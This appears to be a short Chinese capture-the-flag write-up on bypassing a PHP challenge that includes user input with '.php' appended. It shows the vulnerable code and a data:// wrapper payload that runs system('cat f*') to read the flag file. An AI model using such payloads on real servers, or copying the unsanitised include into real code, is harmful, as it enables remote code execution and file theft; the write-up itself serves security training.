命令执行:include($c.”.php”)的绕过

代码如下:

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

看似被.php吓住了,但实际十分简单,只要使用:data://text/plain

这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

payload:

?c=data://text/plain,<?php system(“cat f*”); ?>

RIPRO主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
天云网络培训 » 命令执行:include($c.”.php”)的绕过

天云安全,多年安全积累,值得信赖

立即查看 了解详情